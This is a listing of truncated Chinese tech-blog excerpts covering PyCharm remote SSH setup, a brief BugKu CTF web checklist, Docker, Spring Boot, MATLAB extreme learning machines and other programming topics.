要求&#xff1a;PyCharm专业版才支持远程服务 一、创建远程连接 先建立本地与远程服务器之间的SSH连接 1、配置连接 2、建立SSH连接&#xff0c;选择文件传输协议 SFTP 3、设置服务器名&#xff08;可以随意命名&#xff09; 4、配置 SSH连接 点击 172.18.1.202 配置…

bugkuctf web随记wp

常规思路&#xff1a; 1&#xff0c;源码2&#xff0c;抓包3&#xff0c;御剑dirsearch扫后台检查是否有git文件未删除4&#xff0c;参数 本地管理员&#xff1a;1&#xff0c;cu看源码&#xff0c;sci看源码有一串东西2&#xff0c;base64解码后是test123猜测是密码3&#x…

ChatGPT热门项目

1.智能GPT 项目地址&#xff1a;智能GPT&#xff1a;你只要提供OpenAI的API Key&#xff0c;那么它就可以根据你设定的目标&#xff0c;采用Google搜索、浏览网站、执行脚本等方式 主要语言&#xff1a;Python 推荐理由&#xff1a;这是由开发者Significant Gravitas推出的项目…

103基于matlab的极限学习机(ELM)和改进的YELM和集成极限学习机(EELM)是现在流行的超强学习机

基于matlab的极限学习机&#xff08;ELM&#xff09;和改进的YELM和集成极限学习机(EELM)是现在流行的超强学习机&#xff0c;该程序是三者的方法比对。 包括学习时间&#xff0c;训练精度和测试精度的对比。数据可更换自己 的&#xff0c;程序已调通&#xff0c;可直接运行…

SpringBoot之数组,集合,日期参数的详细解析

1.4 数组集合参数 数组集合参数的使用场景&#xff1a;在HTML的表单中&#xff0c;有一个表单项是支持多选的(复选框)&#xff0c;可以提交选择的多个值。 多个值是怎么提交的呢&#xff1f;其实多个值也是一个一个的提交。 后端程序接收上述多个值的方式有两种&#xff1a; 数…

MacOS升级指定的系统

问题描述&#xff1a; Mac升级系统&#xff0c;如果使用默认推送的升级可能会升级到最新 的版本&#xff0c;那么怎样才能升级制定的系统呢&#xff1f;1. 搜索“macOS安装器” 2. 点击“使用App store 或浏览器下载macOS安装器” 3. 选择需要的系统&#xff0c;使用App Store …

飞天使-docker知识点5-资源限制与容器的不同状态

文章目录 cpu和内存的限制内存限制的部分参数容器的不同状态docker images 的分层docker registry制作镜像 cpu和内存的限制 默认情况下&#xff0c;容器没有资源限制&#xff0c;可以使用主机内核调度程序允许的尽可能多的 给定资源&#xff0c;Docker 提供了控制容器可以限制…

JavaWeb项目中已经导入依赖却报错依赖不存在

问题描述 在使用 Maven Servlet Tomcat 来搭建 JavaWeb 项目时&#xff0c;在 pom.xml 中正确引入了依赖&#xff0c;编码过程中也能够正常使用。但是在启动 Tomcat 之后&#xff08;启动时或启动后&#xff09;&#xff0c;却报错显示该依赖不存在。 可能原因 pom.xml 的…

品牌如何做好软文营销?媒介盒子分享

许多公司在做软文营销时&#xff0c;试图通过运营不同平台来扩大其覆盖范围&#xff0c;他们希望通过这种方式触达更多受众&#xff0c;然而如果品牌软文没有质感&#xff0c;就会被用户抛弃。今天媒介盒子就来和大家聊聊&#xff1a;品牌方做内容时如何加强质感。 一、 营销需…

12.14_黑马数据结构与算法笔记Java

目录 120 二叉搜索树 min max 121 二叉搜索树 put 122 二叉搜索树 前任后任1 123 二叉搜索树 前任后任2 124 二叉搜索树 删除1 125 二叉搜索树 删除2 126 二叉搜索树 删除3 127 二叉搜索树 删除 递归1 128 二叉搜索树 删除 递归2 129 二叉搜索树 范围查询 130 二叉搜…

【超图】SuperMap iClient3D for WebGL/WebGPU —— 单体gltf模型与Blender中的方向对应关系

作者&#xff1a;taco 在很多包含动画的场景中&#xff0c;像模拟小人的行走、模拟火车的轨迹运行&#xff0c;又或者是模拟风力发电等等等。我们通常会加一些动画模型到里面。而有的时候可能会出现&#xff0c;这火车怎么倒着走啊&#xff01;这人怎么头朝下啊。这种方向的问题…

WPS Office JS宏实现Excel转换为JSON格式数据

通过Excel JS宏&#xff0c;将表格中的数据以”列“形式导出为JSON数据格式。 我们在整理文档时&#xff0c;产品会通过Excel将功能点和功能描述分层级整理出来&#xff0c;有时需要将此数据导入到系统中&#xff0c;Web端对Json这类数据比较友好&#xff0c;所以这里试着使用E…

设计模式——代理模式(Proxy Pattern)

概述 代理模式是指为其他对象提供一种代理&#xff0c;以控制对这个对象的访问。代理对象在访问对象和目标对象之间起到中介作用。代理对象也可以在不修改目标对象的前提下&#xff0c;提供额外的功能操作&#xff0c;拓展目标对象的功能&#xff0c;比如说在目标对象的某个方法…

【Docker】进阶之路:(十二)Docker Composer

【Docker】进阶之路&#xff1a;&#xff08;十二&#xff09;Docker Composer Docker Compose 简介安装 Docker Compose模板文件语法docker-compose.yml 语法说明imagecommandlinksexternal_linksportsexposevolumesvolunes_fromenvironmentenv_fileextendsnetpiddnscap_add,c…